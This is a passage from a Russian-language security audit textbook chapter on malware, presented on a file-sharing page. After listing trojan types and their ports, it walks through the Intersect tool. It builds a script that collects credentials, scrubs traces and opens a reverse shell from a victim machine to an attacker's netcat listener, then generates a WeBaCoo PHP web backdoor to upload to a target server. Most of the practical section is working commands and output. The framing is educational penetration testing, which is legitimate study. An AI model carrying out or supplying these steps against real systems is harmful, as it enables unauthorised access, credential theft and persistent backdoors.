Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Skabtsov_N_V_-_Audit_bezopasnosti_informatsionnykh_sistem_-_2018.pdf
Скачиваний:
101
Добавлен:
24.01.2021
Размер:
9 Mб
Скачать

146    Глава 10  •  Вредоносные программы

2.Сборщики данных, отправляющие атакующему данные определенного типа, например файлы с хешами паролей.

3.Прокси, превращающие компьютер жертвы в промежуточный узел, используемый для коммуникации с другими компьютерами.

4.Файловые серверы, позволяющие хранить на компьютере жертвы любое ПО с целью его распространения на другие компьютеры.

Многие троянские кони используют для своей работы одни и те же порты, поэтому выявить их можно любым сканером портов, например Nmap. После того как в сети найдена зараженная троянским конем машина, к нему можно подключиться и использовать его для своих целей.

Ниже мы приведем названия некоторых троянских коней и диапазон портов, которые они используют для коммуникации:

Back Orifice — UDP 31337 или 31338;NetBus — TCP 12345 и 12346;Reachout — TCP 43188;Timbuktu — TCP/UDP 407.

Практическая часть

Теперь, когда мы разобрали все в теории, перейдем к практической части. В данном разделе мы не будем рассматривать создание вируса или троянского коня с нуля. Это потребует углубленного знания какого-либо языка программирования. Остановимся на конструкторах, которые позволяют создать такое ПО без навыков программирования.

Следует подчеркнуть, что хотя это и самый простой способ, однако не самый надежный. Конструкторы обладают большими возможностями, но при этом ограничивают нас конечным набором функций. К тому же они создают достаточно стандартный код, который научились определять многие антивирусы. Впрочем, от этого недостатка можно избавиться, и чуть позже мы покажем вам как.

Первый конструктор, который мы рассмотрим, — Intersect. Основное его применение — автоматизация сбора данных на скомпрометированном компьютере. Предположим, что вы получили доступ к командной строке. После этого, используя Intersect и создав с его помощью скрипт, вы сможете быстро собрать данные о пользователях, скопировать SSH-ключи, собрать информацию о сети, установить постоянную обратную связь и многое другое.

Продемонстрируем его работу. Для начала запустим netcat, который будет принимать данные на порт 4444.

root@kali:~# nc -l -p 444

Практическая часть    147

Теперь запустим Intersect и определим доступные модули.

Intersect 2.5 — Script Creation Utility

 

 

------------------------------------------

 

 

1

=> Create Custom Script

 

 

 

 

2

=> List Available Modules

 

 

 

 

3

=> Load Plugin Module

 

 

 

 

 

4

=> Exit Creation Utility

 

 

 

 

 

=>

2

 

 

 

 

 

 

 

Intersect 2.5 — Script Creation Utility

 

 

-------

 

 

List of Intersect Modules --------

 

 

 

Standard

Modules:

 

 

 

 

 

 

archive

creds

extras

network

reversexor

scrub

 

bshell

daemon

lanmap

osuser

rshell

xorshell

Custom Modules:

 

 

 

 

 

 

aeshttp

getrepos

openshares

portscan

sniff

webproxy xmpp

egressbuster icmpshell

persistent

privesc

udpbind

xmlcrack

-------------------------------------------

 

 

 

1 => Return to main menu.

 

 

 

 

 

=>

1

 

 

 

 

 

 

 

Получим больше информации об интересующем нас модуле.

=> :info rshell

Description: Opens a reverse TCP shell to a remote host. Interactive shell with download/upload and remote Intersect module execution.

Author: ohdae [bindshell@live.com]

=> :quit

Создадим собственный скрипт.

Intersect 2.5 — Script Creation Utility

------------------------------------------

1 => Create Custom Script

2 => List Available Modules

3 => Load Plugin Module

4 => Exit Creation Utility

=> 1

Intersect 2.0 — Script Generation Utility

---------- Create Custom Script -----------

148    Глава 10  •  Вредоносные программы

Instructions:

Use the console below to create your custom Intersect script. Type the modules you wish to add, pressing [enter] after each module. Example:

=> creds => network

When you have entered all your desired modules

into the queue, start the build process by typing :create.

** To view a full list of all available commands type :help. The command :quit will return you to the main menu.

=> creds

creds added to queue.

=> rshell

rshell added to queue.

=> network

network added to queue.

=> scrub

scrub added to queue.

=> osuser

osuser added to queue. => :active

Modules you have selected:

['creds', 'rshell', 'network', 'scrub', 'osuser'] => :create

Введем необходимую информацию.

[ Set Options ]

If any of these options don't apply to you, press [enter] to skip.

Enter a name for your Intersect script. The finished script will be placed in the Scripts directory. Do not include Python file extension.

=> testis

Script will be saved as /usr/share/intersect/Scripts/testis.py

Specify the directory on the target system where the gathered files and information will be saved to.

*Important* This should be a NEW directory. When exiting Intersect, this directory will be deleted if it contains no files.

If you skip this option, the default (/tmp/lift+$randomstring) will be used. temp directory => /tmp/isect

enable logging => bind port =>

[+] bind port saved.

remote host => 192.168.225.128

Практическая часть    149

[+]remote host saved. remote port => 4444

[+]remote port saved. proxy port =>

xor cipher key => creds

rshell network scrub osuser

[+]Your custom Intersect script has been created! Location: /usr/share/intersect/Scripts/testis.py

Запустим наш скрипт на машине жертвы и заставим ее выполнить соединение с нашим компьютером.

root@mint:~#./testis.py --rshell

[!] Reports will be saved in: /tmp/isect

Убедимся в том, что соединение произошло. Мы увидим это в том терминале, в котором был запущен netcat.

root@kali:~# nc -l -p 4444

[+] New connection established! Intersect /tmp/isect => whoami root

Intersect /tmp/isect =>

Теперь рассмотрим ситуацию, когда мы не получили доступа к консоли, однако он нам очень нужен. Все, что мы можем сделать в этом случае, — загрузить файл на сервер, используя уязвимость в веб-приложении.

Создадим веб-приложение, которое поможет нам получить доступ к командной строке.

root@kali:~# webacoo -g -o backdoor.php

WeBaCoo 0.2.3 — Web Backdoor Cookie Script-Kit

Copyright (C) 2011-2012 Anestis Bechtsoudis

{@anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }

[+]Backdoor file "backdoor.php" created.

Теперь загрузим его на сервер, к которому мы хотим получить доступ, и подключимся к нашему приложению.

root@kali:~# webacoo -t -u http://www.mycorp.com/backdoor.php

WeBaCoo 0.2.3 — Web Backdoor Cookie Script-Kit Copyright (C) 2011-2012 Anestis Bechtsoudis

{ @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }